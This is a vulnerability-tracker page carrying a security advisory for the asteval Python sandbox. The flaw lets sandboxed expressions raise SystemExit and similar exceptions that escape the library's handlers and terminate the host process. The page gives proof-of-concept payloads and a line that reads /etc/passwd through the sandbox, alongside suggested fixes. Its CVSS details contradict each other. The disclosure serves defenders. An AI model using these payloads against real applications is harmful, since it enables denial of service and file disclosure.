asteval CVE-2026-55244
MEDIUMSeverity by source
AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Network vector applies to the realistic worst-case deployment (web API accepting user expressions); no credentials or interaction required; impact is strictly process termination (A:H), no confidentiality or integrity effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
---
Affected Code
asteval/astutils.py, lines 89-108 - FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException',
# ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit',
# ← escapes except Exception:
...
'KeyboardInterrupt',
# ← escapes except Exception:
...
'SystemExit',
# ← escapes except Exception:
...)asteval/asteval.py, line 322 - run() exception handler:
except Exception:
# ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)asteval/asteval.py, line 370 - eval() exception handler:
except Exception:
# ← same gap
if show_errors and not raise_errors:
...asteval/asteval.py, line 264 - raise_exception() raises the class directly:
raise exc(self.error_msg)
# ← when exc=SystemExit, escapes both handlers above---
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.
---
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'Real-world server scenario
from asteval import Interpreter
def handle_request(user_expression):
aeval = Interpreter()
return aeval.eval(user_expression)
# SystemExit propagates here
# Attacker sends: raise SystemExit(1)
# Application terminates. Top-level except Exception: handlers do not protect it.
try:
handle_request('raise SystemExit(1)')
except Exception:
pass
# <-- does NOT catch SystemExit; process exits---
Impact
| Variant | Impact |
|---|---|
SystemExit | Process terminates; exit code and message attacker-controlled |
KeyboardInterrupt | Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops |
GeneratorExit | Disrupts generator cleanup in calling code |
BaseException | Generic escape, same propagation |
Any application that:
- Accepts user-supplied expressions via
asteval - Relies on
except Exception:at the top level (standard practice) - Does not wrap
aeval.eval()inexcept BaseException:(non-standard, unexpected requirement)
...is vulnerable to attacker-triggered process termination (DoS).
CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact - process termination (A:H).
---
Additional Note: File Read Capability (Acknowledged Limitation)
Independently of this vulnerability, asteval exposes a read-only open() wrapper (_open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:
aeval.eval("open('/etc/passwd').read()")
# returns /etc/passwd contentsThis is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.
---
Recommended Fix
Option A - Remove dangerous classes from FROM_PY (minimal, preferred):
# asteval/astutils.py
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
# Remove: 'BaseException',
'BufferError', 'BytesWarning',
'DeprecationWarning', 'EOFError', 'EnvironmentError',
'Exception', 'False', 'FloatingPointError',
# Remove: 'GeneratorExit',
'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
'IndexError', 'KeyError',
# Remove: 'KeyboardInterrupt',
'LookupError',
'MemoryError', 'NameError', 'None',
'NotImplementedError', 'OSError', 'OverflowError',
'ReferenceError', 'RuntimeError', 'RuntimeWarning',
'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
# Remove: 'SystemExit',
'True', 'TypeError', ...)Option B - Block non-Exception raises in on_raise():
# asteval/asteval.py
def on_raise(self, node):
excnode = node.exc
msgnode = node.cause
out = self.run(excnode)
# Prevent BaseException subclasses from escaping the sandbox
if not issubclass(out.__class__, Exception):
self.raise_exception(node, exc=RuntimeError,
msg=f"raising {out.__class__.__name__!r} is not permitted")
return
msg = ' '.join(str(a) for a in out.args)
msg2 = self.run(msgnode)
if msg2 not in (None, 'None'):
msg = f"{msg}: {msg2}"
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')Note: Option B also fixes a secondary bug on the same line - ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.
Option C - Catch BaseException in run() and eval() (broadest, requires care):
except BaseException as exc:
if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
# Re-raise as RuntimeError to contain within sandbox
self.raise_exception(node, exc=RuntimeError,
msg=f"{type(exc).__name__} raised in sandbox")
elif with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.
---
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-06-09 | Vulnerability discovered during code review |
| 2026-06-09 | Report submitted via GitHub Security Advisory |
| TBD | Maintainer acknowledgment |
| TBD + 90 days | Public disclosure deadline |
---
Researcher
Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.
---
References
- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
astevaldocumentation: https://lmfit.github.io/asteval/
AnalysisAI
Sandbox escape in asteval allows any attacker who can supply expressions to Interpreter.eval() to raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException, bypassing both run() and eval() exception handlers - which catch only Exception - and terminating or disrupting the calling process. All asteval versions through 1.0.6 are affected; version 1.0.9 resolves the issue. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the ability to supply arbitrary string expressions to `asteval.Interpreter.eval()` - the precise condition is attacker-controlled input reaching an eval call in the target application. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS vector (AV:L/AC:L/PR:L/UI:R, score 5.0) is inconsistent with the advisory's own characterization, which explicitly argues AV:N/AC:L/PR:N/UI:N for network-deployed applications. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade asteval to version 1.0.9, which removes `BaseException`, `SystemExit`, `KeyboardInterrupt`, and `GeneratorExit` from `FROM_PY` in `astutils.py` and adds explicit `except (KeyboardInterrupt, SystemExit, GeneratorExit)` handlers in `run()`, `eval()`, `parse()`, `on_call()`, and `on_raise()`, converting escaped exceptions into sandboxed `RuntimeError` instances. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-248 – Uncaught Exception
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-89v8-rhwq-hf77